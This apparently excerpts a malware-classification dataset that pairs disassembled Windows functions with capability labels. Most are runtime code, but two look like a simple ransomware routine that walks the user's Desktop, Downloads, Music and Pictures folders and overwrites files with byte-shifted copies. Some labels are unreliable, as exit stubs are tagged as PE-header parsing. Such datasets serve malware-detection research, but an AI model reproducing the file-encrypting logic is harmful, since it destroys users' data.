joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400994a2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400cf648]
test eax, eax
je 0x14009953a
lea rax, [0x1400cf620]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400cf650]
mov qword [rbp - 8], rax
jmp 0x14009951e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140099512
cmp qword [rbp - 0x10], 0
je 0x140099512
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400994d8
lea rax, [0x1400cf620]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14009953b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140099640
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140099668
mov eax, 0
jmp 0x1400996b6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140099691
mov eax, 0
jmp 0x1400996b6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400996b1
mov eax, 0
jmp 0x1400996b6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400996bc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14009973a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140099731
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140099731
mov rax, qword [rbp - 8]
jmp 0x14009974f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140099704
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a8d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a8e0]
mov dword [rax], 1
mov rax, qword [0x14000a8f0]
mov dword [rax], 1
mov rax, qword [0x14000a860]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a8c0]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14000a9a0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14000a980]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14000a810]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x1400014ee
Capabilities:
Delete file
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x440
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], rdx
mov rax, qword [rbp + 0x3d0]
lea rdx, section..rdata
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
jne 0x140001551
mov rax, qword [rbp + 0x3d0]
mov rdx, rax
lea rax, str.Error_opening_file:__s_n
mov rcx, rax
call sym.printf
jmp 0x1400016db
lea rax, [0x14000a01b]
mov rdx, rax
lea rax, str.temp.txt
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
jne 0x140001660
lea rax, str.Error_creating_temporary_file._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sym.fclose
jmp 0x1400016db
mov dword [rbp + 0x3bc], 0
jmp 0x140001627
mov rax, qword [rbp + 0x3d8]
lea rdx, [0x14000a048]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400015e8
mov eax, dword [rbp + 0x3bc]
cdqe
movzx eax, byte [rbp + rax - 0x60]
add eax, 0x50
mov edx, eax
mov eax, dword [rbp + 0x3bc]
cdqe
mov byte [rbp + rax - 0x60], dl
jmp 0x140001620
mov rax, qword [rbp + 0x3d8]
lea rdx, [0x14000a04c]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001620
mov eax, dword [rbp + 0x3bc]
cdqe
movzx eax, byte [rbp + rax - 0x60]
sub eax, 0x50
mov edx, eax
mov eax, dword [rbp + 0x3bc]
cdqe
mov byte [rbp + rax - 0x60], dl
add dword [rbp + 0x3bc], 1
mov eax, dword [rbp + 0x3bc]
cmp eax, dword [rbp + 0x3a4]
jl 0x1400015ae
mov eax, dword [rbp + 0x3a4]
movsxd rdx, eax
mov rcx, qword [rbp + 0x3a8]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rdx, qword [rbp + 0x3b0]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8d, 0x400
mov edx, 1
mov rcx, rax
call sym.fread
mov dword [rbp + 0x3a4], eax
cmp dword [rbp + 0x3a4], 0
jg 0x1400015a2
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call sym.remove
mov rax, qword [rbp + 0x3d0]
mov rdx, rax
lea rax, str.temp.txt
mov rcx, rax
call sym.rename
nop
add rsp, 0x440
pop rbp
ret
Function at 0x140001879
Capabilities:
Query environment variable

Disassembly:
push rbp
sub rsp, 0x460
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, str.USERPROFILE
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x3d8], rax
cmp qword [rbp + 0x3d8], 0
je 0x1400018bc
mov rax, qword [rbp + 0x3d8]
movzx eax, byte [rax]
test al, al
jne 0x140001903
lea rax, str.HOMEPATH
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x3d8], rax
cmp qword [rbp + 0x3d8], 0
je 0x1400018ea
mov rax, qword [rbp + 0x3d8]
movzx eax, byte [rax]
test al, al
jne 0x140001903
lea rax, str.Error:_HOME_environment_variable_is_not_set._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400019cb
lea rax, str.Desktop
mov qword [rbp + 0x3b0], rax
lea rax, str.Downloads
mov qword [rbp + 0x3b8], rax
lea rax, str.Music
mov qword [rbp + 0x3c0], rax
lea rax, str.Pictures
mov qword [rbp + 0x3c8], rax
mov dword [rbp + 0x3d0], 4
mov dword [rbp + 0x3d4], 0
jmp 0x1400019b8
mov eax, dword [rbp + 0x3d4]
cdqe
mov rdx, qword [rbp + rax*8 + 0x3b0]
mov rcx, qword [rbp + 0x3d8]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Encrypting_files_in_directory:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp - 0x50]
lea rdx, [0x14000a048]
mov rcx, rax
call sym.traverse_directory
add dword [rbp + 0x3d4], 1
mov eax, dword [rbp + 0x3d4]
cmp eax, dword [rbp + 0x3d0]
jl 0x140001951
mov eax, 0
add rsp, 0x460
pop rbp
ret

Function at 0x140001ca0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001d10
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d094]
test esi, esi
mov rbx, rcx
jle 0x140001e40
mov rax, qword [0x14000d098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001d5b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001de5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001d40
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001e62
mov rax, qword [0x14000d098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001e47
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001dde
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001df0
add dword [0x14000d094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x14000d098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001dde
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001d68
mov rax, qword [0x14000d098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400023d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x14000242c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002423
test rsi, rsi
je 0x140002423
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002408
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002640
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop

Function at 0x140002650
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
Function at 0x140002660
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002678
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002680
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002690
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x1400026dd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x1400026d4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400026df
add rax, 0x28
cmp rax, r9
jne 0x1400026c0
xor eax, eax
ret

Function at 0x1400026e0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002770
mov rdx, qword [0x14000a860]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000275e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000275e
cmp word [rax + 0x18], 0x20b
jne 0x14000275e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002770
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002749
add rbx, 0x28
cmp rbx, rdi
je 0x140002770
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002740
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002780
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a860]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400027a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400027a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400027a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400027fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400027f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400027a0
add rax, 0x28
cmp rax, r9
jne 0x1400027e0
xor eax, eax
ret

Function at 0x140002800
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a860]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000281f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002828
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000281f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002840
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a860]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002860
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002868
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002860
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x1400028b0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400028a7
test rcx, rcx
je 0x140002860
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002898
xor eax, eax
ret

Function at 0x1400028c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a860]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400028df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400028e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002900
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a860]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002920
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002928
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002920
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x140002920
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140002974
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002980
add rdx, 0x28
cmp r9, rdx
jne 0x140002960
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002990
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a860]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400029b2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400029c0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029b2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400029b2
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x1400029b2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140002a15
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002a28
add rdx, 0x28
cmp rdx, r10
jne 0x140002a00
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002a37
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002a47
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002a1e
test ecx, ecx
jg 0x140002a30
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140002aa0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x138
mov rbx, rcx
call sym._errno
test rbx, rbx
mov dword [rax], 0
je 0x140002be0
cmp byte [rbx], 0
je 0x140002ba8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140002bf0
test al, 0x10
je 0x140002ba8
lea rdi, [rsp + 0x20]
mov rdx, rbx
mov r8d, 0x104
mov rcx, rdi
call sym._fullpath
mov rcx, rdi
call sym.strlen
lea rcx, [rax + 0x24b]
mov rsi, rax
call sym.malloc
test rax, rax
mov rbx, rax
je 0x140002bff
lea rbp, [rsi + 1]
mov rdx, rdi
lea rcx, [rax + 0x244]
mov r8, rbp
call sym.memcpy
cmp byte [rbx + 0x244], 0
mov rcx, rax
je 0x140002b50
movzx eax, byte [rbx + rsi + 0x243]
cmp al, 0x5c
je 0x140002b50
cmp al, 0x2f
jne 0x140002bc8
lea rdx, [rbx + 0x130]
mov eax, 0x2a
mov word [rcx + rsi], ax
mov rdi, rdx
xor eax, eax
mov ecx, 0x20
mov qword [rbx + 0x238], 0xffffffffffffffff
mov dword [rbx + 0x240], 0
mov qword [rbx + 0x128], 0
rep stosq qword [rdi], rax
mov rax, rbx
mov dword [rdi], 0
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sym._errno
xor ebx, ebx
mov dword [rax], 0x14
mov rax, rbx
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov edx, 0x5c
mov word [rcx + rsi], dx
mov rsi, rbp
jmp 0x140002b50
call sym._errno
xor ebx, ebx
mov dword [rax], 0xe
jmp 0x140002bb5
call sym._errno
xor ebx, ebx
mov dword [rax], 2
jmp 0x140002bb5
call sym._errno
xor ebx, ebx
mov dword [rax], 0xc
jmp 0x140002bb5
Function at 0x140013cc0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
mov eax, 0x10090
call fcn.14003d2e0
sub rsp, rax
mov rax, qword [0x140054040]
xor rax, rsp
mov qword [rsp + 0x10080], rax
xor eax, eax
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x80], ax
lea rbx, [rsp + 0x30]
mov word [rsp + 0x30], ax
mov edi, 0x28
mov dl, 0x4e
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x140013d2d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x140013d20
cmp rcx, 1
jb 0x140013dda
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x140013d50
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.1400308b8
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x140013d10
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140013dd6
lea rcx, [rsp + 0x80]
call fcn.14003208c
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.140021830
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
xor eax, eax
jmp 0x140013db1
call fcn.140025e20
int3

Function at 0x140013de0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140054040]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], ax
lea rbx, [rsp + 0x30]
mov edi, 0x28
mov dl, 0x4e
nop
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x140013e3d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x140013e30
cmp rcx, 1
jb 0x140013eb7
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x140013e53
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.1400308b8
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x140013e20
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140021830
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140025e20
int3
Function at 0x140022204
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002224e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002224e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002224e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002224e
cmp dword [rcx + 0x84], 0xe
jbe 0x14002224e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140022250
xor al, al
add rsp, 0x28
ret

Function at 0x140026180
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140025feb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140025feb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140025feb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140025feb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140025feb
cmp dword [rcx + 0x84], 0xe
jbe 0x140025feb
cmp dword [rcx + 0xf8], 0
je 0x140025feb
mov ecx, ebx
call fcn.14002609c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140025e78
nop
cmp dword [rbp + 0x20], 0
je 0x140026039
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140026044
int3
xor r8d, r8d
xor edx, edx
jmp 0x140025f7c
Function at 0x14003701c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400370a3
mov rsi, rbx
cmp word [rax], bp
je 0x140037062
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14003704c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140037048
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14003463c
mov rdi, rax
test rax, rax
je 0x140037090
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14003d940
mov rbp, rdi
xor ecx, ecx
call fcn.140032a0c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003ac18
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003ac2e
mov al, 1
jmp 0x14003ac8e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003ac3f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003ac8c
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400377c0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003ac8c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003ac8c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003ac8c
